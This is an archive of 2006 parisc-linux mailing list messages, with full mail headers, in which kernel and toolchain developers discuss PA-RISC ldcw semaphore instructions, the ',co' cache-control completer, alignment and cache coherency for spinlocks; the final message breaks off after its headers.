Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24758-01; Mon, 24 Apr 2006 12:55:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A4177D79F;
	Mon, 24 Apr 2006 12:55:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60C9F7D79B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:55:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24372-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:55:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 749D37D79A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:55:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OItBU9028565;
	Mon, 24 Apr 2006 14:55:12 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OItBlv028564;
	Mon, 24 Apr 2006 14:55:11 -0400 (EDT)
In-Reply-To: <200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Apr 24, 2006 12:50:48 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Jih4cCxOTiEtoqyUaGRwenF1ZUVSRBcT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23624

> > (I'm assuming ",co" completer is PA2.0 only - please correct me if
> > that's wrong.)
> 
> It's not in the PA 1.1 arch...

Rechecked.  I should have remembered given that I updated gas to improve
the handling of cache-control completers for PA 1.1 ;(  So, we should be
using the 'co' completer except in situations (if any) where the spinlock
is shared with a non-coherent I/O processor.  However, I believe that
PA 1.1 still has the 16-byte alignment requirement.

Need to look at the uses in GCC.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 14:12:02 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <200604241412.02200.mszick@morethan.org>
References: <200604241846.k3OIknKK028491@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624070 19133 80.91.229.3 (22 Nov 2014 02:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 19:12:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 24 Apr 2006 21:12:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C14977D79C;
	Mon, 24 Apr 2006 13:12:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24761-07; Mon, 24 Apr 2006 13:12:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 545C17D7A6;
	Mon, 24 Apr 2006 13:12:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4D797D77A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 13:12:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24761-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 13:12:10 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 06CC27D775
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 13:12:09 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3OJC6sP048985;
	Mon, 24 Apr 2006 12:12:06 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.227] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id vjC0RoI2
	authenticated by SMTP; Mon, 24 Apr 2006 12:12:05 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604241846.k3OIknKK028491@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LhR4cC1OTiEtoqyUaGRwenF1ZUVSRBcP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23625

On Mon April 24 2006 13:46, John David Anglin wrote:
> > Those instruction descriptions do not always mention side-effects,
> > even less often do they mention the exceptions to the side-effects.
> > 
> > An exception (footnoted somewhere):
> > ldcw,co does not set the dirty bit on the dcache line.
> 
> Don't see this. 
>
I agree, it is not clear

Start with:
http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_7_inst_descriptions.pdf

Find section 7-74, physical page 76 of the above.

Sub-section: "If the cache control hint is not specified ..."

First bullet, last sentence:
"If the line is retained in cache, it must not be marked dirty."

PA2.0 only does this on lines in cache with the co completer;
therefore, it must be 'retained in cache'.

Now:
Sub-section: "If the cache control hint is specified ..."

"... the semaphore operation _may_ be handled as if the cache control
hint had not been specified ..."

Now add in the errata to this flow ...

Then jump forward a page to the first clause of the indivisible RTL
statement:

Note that all the operations are qualified by "NO_HINT"

Duh...
And this is the easy one to find, still searching for the magic byte[0]
reference.

Mike
> It uses mem_store just like stw.  The only exception 
> is when gr0 is the target and it behaves like a prefetch.  See also
> discussion of D bit trap.  If the machine has multiple D-caches, I
> don't see how the overhead present in the coherency communication
> can be avoided.
> 
> In the case where store_in_memory is used, the line is first flushed
> and then the data is written to memory.  It doesn't make sense to set
> the dirty bit in this case.  So, if you do a tight ldcw loop without
> the co completer on a CPU that is not fully coherent, you will always
> be in the slow store_in_memory case.
> 
> > Since there is no way to clear the lock with ldcw,co then when the
> > lock is cleared, then there must be another magic completer that needs
> > to be used on the instruction that resets the condition to '1' (unlocked).
> > 
> > Something that triggers the cache coherency system so the change is
> > immediately observable by all cpus.
> 
> The lock can be reset with a store.  You are probably thinking of
> the 'O' completer.  However, I think that all PA-RISC CPUs have strongly
> ordered loads and stores.  However, I think the discussion on pages
> 435-438 in http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf is
> relevant to the SMP case.
> 
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 16:57:19 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <200604241657.19464.mszick@morethan.org>
References: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
	<200604241135.58306.mszick@morethan.org>
	<200604241300.13265.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624070 19138 80.91.229.3 (22 Nov 2014 02:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:10 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 21:57:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 24 Apr 2006 23:57:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB1A27D7AD;
	Mon, 24 Apr 2006 15:57:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26077-06; Mon, 24 Apr 2006 15:57:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A74C7D7B2;
	Mon, 24 Apr 2006 15:57:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B9A47D7AC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 15:57:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26077-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 15:57:24 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 57D417D7A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 15:57:24 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3OLvPEW072476;
	Mon, 24 Apr 2006 14:57:25 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.227] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id sqI0OvO2
	authenticated by SMTP; Mon, 24 Apr 2006 14:57:24 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604241300.13265.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vCQvEGN0bXBtrLqHPTQ2ODYqLyUmZciT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23626

On Mon April 24 2006 13:00, Michael S. Zick wrote:
> On Mon April 24 2006 11:35, you wrote:
> > On Mon April 24 2006 10:35, you wrote:
> > > > ldcw,co target_address
> > > > 
> > > > Where target_address includes the magic byte[0] of 
> > > > the cache line.
> > > 
> > > Where is this documented?
> > > 
> > Well, they didn't put it in the instruction RTL where
> > someone could find it.  It is a footnote or mentioned
> > in passing somewhere.
> > 
> > I will look for it, I found it about 5 years ago when
> > Matt and I discussed this on the list, I can find it again.
> > 
> 
I give up - I can not find it now.
Which does not mean it is not there, somewhere.

Ever need to be put to sleep?
Read this:
http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_G_memory_ordering.pdf

In particular, that the semaphore instructions are described as
a load followed (sic: indivisibly) by a store.

Now branch thee here:
http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_6_inst_overview.pdf

Pick section 6-10, physically pages 11 and 12.

Now overlay tables 6-7, 6-8, and 6-9 and note the relationship of cc=01 in all
three tables.

ldw cc=01 <reserved>
stw cc=01 <stw,bc >
ldcw cc=01 <ldcw,co >

This is not an accident, in the days this cpu was designed, silicon did not
grow on trees.

Read thee the paragraphs between table 6-8, and 6-9 - note the special
significance of cache line byte[0] for stw,bc.

But finding that specificly for ldcw,co - even in en_HP - is beyond my
abilities.

Nor do I have a machine where I could simply change the *&^*& spinlock
macro to see if it makes a difference.

I think I will go fishing with Joel,
I am too old to stand for my orals now.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 18:40:45 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200604242240.k3OMejvf000119@hiauly1.hia.nrc.ca>
References: <200604241657.19464.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624071 19397 80.91.229.3 (22 Nov 2014 02:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 22:40:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 25 Apr 2006 00:40:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40BBC7D7C5;
	Mon, 24 Apr 2006 16:40:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26627-04; Mon, 24 Apr 2006 16:40:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E0687D7C0;
	Mon, 24 Apr 2006 16:40:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62BAC7D7B9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 16:40:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26085-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 16:40:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6AFB27D663
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 16:40:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OMejG4000120;
	Mon, 24 Apr 2006 18:40:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OMejvf000119;
	Mon, 24 Apr 2006 18:40:45 -0400 (EDT)
In-Reply-To: <200604241657.19464.mszick@morethan.org> from "Michael S. Zick"
	at Apr 24, 2006 04:57:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yyl4LGcnZDI47rHGdWY2OGRxemhmY0Fc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23627

> Now overlay tables 6-7, 6-8, and 6-9 and note the relationship of cc=01 in all
> three tables.
> 
> ldw cc=01 <reserved>
> stw cc=01 <stw,bc >
> ldcw cc=01 <ldcw,co >
> 
> This is not an accident, in the days this cpu was designed, silicon did not
> grow on trees.
> 
> Read thee the paragraphs between table 6-8, and 6-9 - note the special
> significance of cache line byte[0] for stw,bc.

See.

> But finding that specificly for ldcw,co - even in en_HP - is beyond my
> abilities.

Possibly, you saw this in an ERS.

> I think I will go fishing with Joel,
> I am too old to stand for my orals now.

I thought I was the old guy here!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 18:38:57 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20060425003857.GA30653@colo.lackof.org>
References: <20060424162545.GA25893@colo.lackof.org>
	<200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624071 19400 80.91.229.3 (22 Nov 2014 02:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 00:27:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 25 Apr 2006 02:27:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C76C37D748;
	Mon, 24 Apr 2006 18:27:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27450-06; Mon, 24 Apr 2006 18:27:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0441B7D74E;
	Mon, 24 Apr 2006 18:27:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CBD47D747
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 18:27:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27288-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 18:27:09 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8CB807D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 18:27:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CD2AA4581CE;
	Mon, 24 Apr 2006 18:38:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29292-07; Mon, 24 Apr 2006 18:38:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 665394581CD; Mon, 24 Apr 2006 18:38:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0l50fGw8YW0+truGbmZpbW50amthcxvv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23628

On Mon, Apr 24, 2006 at 12:50:48PM -0400, John David Anglin wrote:
> > AFAIK, only one non-coherent PA-RISC box has PA2.0 and parisc-linux
> > doesn't support it: T600.
> 
> It probably has coherent I & D caches as well as this seems to be a
> requirement for both 1.1 and 2.0.

Sorry - you are correct.
I was thinking IO. T600 is not DMA/cache coherent.

apologies for spacing out,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Tue, 25 Apr 2006 08:41:57 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <IY9MLX$78E3F79033FFF0B479BDF074F042B181@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624071 19402 80.91.229.3 (22 Nov 2014 02:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:11 +0000 (UTC)
